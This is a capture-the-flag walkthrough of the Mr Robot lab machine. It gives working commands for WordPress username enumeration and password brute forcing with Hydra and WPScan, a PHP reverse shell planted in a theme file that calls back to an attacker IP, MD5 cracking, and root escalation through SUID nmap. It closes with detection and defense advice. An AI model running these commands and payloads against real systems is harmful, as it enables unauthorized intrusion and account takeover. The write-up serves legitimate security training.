Attack Chain Overview
Nmap → ports 80/443 (Apache + WordPress)
↓
robots.txt → Key 1 + fsocity.dic wordlist
↓
Hydra + WPScan → brute force WordPress credentials (elliot)
↓
WordPress Theme Editor → PHP reverse shell in archive.php
↓
Shell as daemon → /home/robot/password.raw-md5
↓
Crack MD5 → su robot → Key 2
↓
SUID nmap --interactive → !sh → root
↓
Key 3 in /root/Phase 1: Reconnaissance
Nmap Scan
nmap -sV -sC --min-rate 100 10.10.66.127PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpdKey observations:
- SSH is closed, no direct SSH access
- Port 80 and 443 both run Apache, same web app on HTTP and HTTPS
- The SSL cert says
www.example.com, CTF machine, not a real domain
Web Directory Enumeration
dirb http://10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127Notable paths discovered: /wp-login, /wp-admin, /dashboard, /robots.txt. The presence of /wp-login immediately identifies this as a WordPress installation.
robots.txt: Key 1 + Wordlist
Navigating to http://10.10.66.127/robots.txt:
User-agent: *
fsocity.dic
key-1-of-3.txtWhy check robots.txt? It's a file that tells web crawlers which paths to avoid indexing. Developers sometimes accidentally list sensitive paths here. In this case, it exposed both the first flag and a custom wordlist fsocity.dic, a dictionary file themed around the Mr Robot show.
# Download the wordlist
wget http://10.10.66.127/fsocity.dic
# Check its size: likely has duplicates
wc -l fsocity.dic🏁 Key 1 found at http://10.10.66.127/key-1-of-3.txt
Phase 2: WordPress Credential Brute Force
Username Enumeration with Hydra
WordPress leaks whether a username is valid through different error messages:
- Wrong username →
Invalid username - Right username, wrong password →
The password you entered for the username...
This makes username enumeration trivial with Hydra:
hydra -L fsocity.dic -p test123 10.10.66.127 \
http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -VResult: Username is Elliot (a character from the Mr Robot show).
Why this works: The -L flag feeds the wordlist as usernames while -p keeps the password fixed at a dummy value. We're not trying to find the password here, just confirm which username triggers the different error message.
Password Brute Force
The fsocity.dic file has many duplicates which would slow down the brute force. Sort and deduplicate first:
sort -f fsocity.dic | uniq -i > sort.txt
wc -l sort.txt # much smaller nowWhy deduplication matters: If fsocity.dic has 858,000 lines but only 11,000 unique entries, brute forcing with the original file wastes 98% of requests. Always deduplicate wordlists before brute forcing.
Now use WPScan, purpose-built for WordPress and handles rate limiting and WordPress-specific auth better than Hydra:
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txtCredentials found:
Username: elliot
Password: ER28-0652Phase 3: Initial Access via WordPress Theme Editor
Login to WordPress Dashboard
Navigate to http://10.10.66.127/wp-login and log in as elliot.
Inject Reverse Shell via Theme Editor
Navigate to: Appearance → Editor → archive.php
Why archive.php? WordPress theme PHP files are served directly by the web server. If you can edit a theme file and inject PHP code, triggering that file via the browser executes your code as the web server user (daemon). archive.php is a good target because it's rarely used and easy to trigger by visiting a non-existent archive URL.
Replace the entire contents of archive.php with a PHP reverse shell (generate one from revshells.com using the PHP fsockopen method):
<?php
set_time_limit(0);
$ip = 'YOUR_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>Save the file, start a listener, then trigger it:
# Listener on Kali
nc -lvnp 4444
# Trigger archive.php in browser or curl
curl http://10.10.66.127/?cat=1 # any archive URL triggers archive.phpShell received as daemon.
Upgrade the Shell
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xtermPhase 4: Lateral Movement to robot (Key 2)
Enumerate /home/robot
daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot && ls -la-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5key-2-of-3.txt is only readable by robot, but password.raw-md5 is world-readable. This is the path to lateral movement.
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13bCrack the MD5 Hash
Why MD5 is weak: MD5 produces a 128-bit hash and has no salt, meaning the same password always produces the same hash. Rainbow tables and online lookup databases like CrackStation have pre-computed hashes for billions of common passwords. This hash cracks instantly.
Submit to crackstation.net:
Hash: c3fcd3d76192e4007dfb496cca67e13b
Cracked: abcdefghijklmnopqrstuvwxyz
Switch to robot and Get Key 2
daemon@linux:/home$ su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ cat key-2-of-3.txt🏁 Key 2 captured.
Phase 5: Privilege Escalation to Root via SUID Nmap (Key 3)
Check sudo and SUID Binaries
sudo -l # prompts for password: robot can't use sudofind / -perm -4000 -type f 2>/dev/null/bin/ping
/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap ← NOT a default SUID binary ★
/usr/lib/openssh/ssh-keysignWhy SUID matters: The SUID (Set User ID) bit means the binary runs as its owner (often root) regardless of who executes it. If a SUID binary can be abused to spawn a shell or execute arbitrary commands, you get those commands running as root.
Why nmap SUID is suspicious: nmap has no legitimate reason to be SUID root. It's a non-default configuration, and it's a well-known GTFOBins entry.
Check Nmap Version
nmap --versionnmap version 3.81Why the version matters: Nmap 3.81 is ancient (2005). Old versions of nmap had an --interactive mode that allowed running shell commands from within the nmap prompt. This feature was removed in newer versions precisely because it was a security risk. With SUID set, this becomes an instant root escalation.
Exploit via Interactive Mode
robot@linux:~$ nmap --interactive
Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
rootWhy !sh works: The ! prefix in nmap's interactive mode passes the command to /bin/sh. Since nmap is running as root (SUID), the shell spawned by !sh inherits root privileges.
Reference: GTFOBins, nmap
Get Key 3
# cd /root
# ls
key-3-of-3.txt
# cat key-3-of-3.txt🏁 Key 3 captured. All three flags collected.
Key Commands Reference
# Recon
nmap -sV -sC --min-rate 100 10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127
# Key 1
curl http://10.10.66.127/robots.txt
wget http://10.10.66.127/fsocity.dic
curl http://10.10.66.127/key-1-of-3.txt
# Wordlist cleanup
sort -f fsocity.dic | uniq -i > sort.txt
# Username brute force
hydra -L fsocity.dic -p test123 10.10.66.127 \
http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V
# Password brute force
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt
# Listener
nc -lvnp 4444
# Shell upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
# Switch to robot
su robot # password: abcdefghijklmnopqrstuvwxyz
# SUID enumeration
find / -perm -4000 -type f 2>/dev/null
# Nmap SUID escalation
nmap --interactive
# then: !shLessons Learned
What Worked Well
- Checking robots.txt immediately paid off, it gave the first flag and the custom wordlist in one step. Always check
/robots.txtearly. - Deduplicating the wordlist before brute forcing saved significant time, the original file had huge numbers of duplicates.
- SUID binary enumeration with
find / -perm -4000is a quick, reliable privesc check that should always be run after gaining a shell.
What to Do Faster Next Time
- Recognize WordPress faster from the directory scan,
/wp-login,/wp-admin, and/wp-contentare unmistakable. Jump straight to WPScan rather than spending time with generic dirb scans. - When you see a
.raw-md5file, crack it immediately rather than trying other lateral movement methods first.
Detection & Defense
How to detect this attack:
- Alert on multiple failed WordPress login attempts from a single IP (brute force pattern)
- Monitor WordPress theme file modifications, editing theme PHP files outside of a deployment pipeline is highly suspicious
- Log all SUID binary executions, especially non-standard ones like
/usr/local/bin/nmap
How to prevent it:
- Enable WordPress login rate limiting or use a plugin like Wordfence to block brute force
- Disable the WordPress Theme/Plugin Editor in
wp-config.php:define('DISALLOW_FILE_EDIT', true); - Never store passwords as unsalted MD5, use bcrypt, Argon2, or at minimum salted SHA-256
- Audit SUID binaries regularly,
nmaphas no legitimate reason to have the SUID bit set. Remove it:chmod u-s /usr/local/bin/nmap - Keep software updated, nmap 3.81's interactive mode was a known risk even in 2005
Technique Summary
| Step | Technique | Why It Worked |
|---|---|---|
| Key 1 | robots.txt disclosure | Developer accidentally exposed flag path and wordlist |
| Username enum | WordPress error message difference | WP leaks valid usernames via distinct login errors |
| Password crack | Hydra + WPScan brute force | Custom wordlist contained the actual password |
| RCE | WordPress Theme Editor | Admin users can edit PHP files which execute server-side |
| Key 2 | MD5 hash crack | Unsalted MD5 cracked instantly via rainbow table lookup |
| Root | SUID nmap --interactive | Ancient nmap version with interactive shell mode set SUID root |